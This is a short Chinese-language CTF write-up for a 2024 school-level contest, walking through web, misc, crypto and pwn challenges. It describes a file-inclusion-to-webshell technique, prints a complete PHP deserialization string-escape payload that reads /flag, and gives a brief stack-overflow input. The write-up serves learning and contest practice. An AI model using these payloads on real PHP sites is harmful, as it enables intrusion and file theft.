2024茂安杯初高中组WriteUp
Web1
签到题
view-source一下
得到qweasdrtyfgh.php
Web2
index是一个go to test.php
的超链,进去后一眼文件包含
读了一下index跟test的源码,没有什么发现,绕不过strpos
但是data流可用,说明开启了allow_url_fopen
和allow_url_include
直接system任意命令执行写文件发现当前目录不可写,ls也看了一下没有别的马子,写到tmp再配合文件包含getshell
Web3
发现官方的WriteUp更看得懂一点,故换源
可以发现, 1、不允许直接读取flag 2、代码通过check方法检查反序列化后的字符串
而check方法中将admin和root替换为较长的hacker字符串,这就造成了字符串逃逸
当我们post提交如下payload
name=rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootadmin”;s:5:”phone”;a:1:{i:0;i:123456;}s:6:”avatar”;s:5:”/flag”;}&phone[]=123456&avatar=test
反序列化得到的是: O:9:”user_info”:3:{s:4:”name”;s:180:”rootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootrootadmin”;s:5:”phone”;a:1:{i:0;i:123456;}s:6:”avatar”;s:5:”/flag”;}“;s:5:”phone”;a:1:{i:0;s:6:”123456”;}s:6:”avatar”;s:4:”test”;}
180的长度匹配到高亮结束,而经过了check函数后的字符串如下: O:9:”user_info”:3:{s:4:”name”;s:180:”hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker“;s:5:”phone”;a:1:{i:0;i:123456;}s:6:”avatar”;s:5:”/flag”;}”;s:5:”phone”;a:1:{i:0;s:6:”123456”;}s:6:”avatar”;s:4:”test”;}
180的字符串长度匹配到高亮结束,剩下匹配的为我们构造的逃逸的字符串,当反序列化匹配至}无误后,蓝字的内容则被忽略,完成反序列化,通过逃逸后avatar变成了/flag逃避了过滤。
Misc1
是一张图片,不是lsb也不用改weight
右键改成.rar得到未加密压缩包中的rsa.txt
右键改成.zip可得一个加密压缩包,内有flag.txt,不是伪加密
妈的我不会加密阿。丢去问gpt秒了
Misc2
签到题。压缩包内二维码扫描得到flag秒了
Crypto1
签到题。
PWN
别的大手子教的。我也学不会就是
main输入两个截断后进入get_data
这里 的len是自定义的可以为-1
进入token计算会异或一个48(‘0’),如果我name就是0,这个时候字符串会变为空
当后面赋值的时候因为len返回-1就无限赋值了,v7在file上面可以覆盖到file
算一下栈偏移打过去刚好把s中的flag覆盖到file,就打开flag并输出
payload 输入 0:0: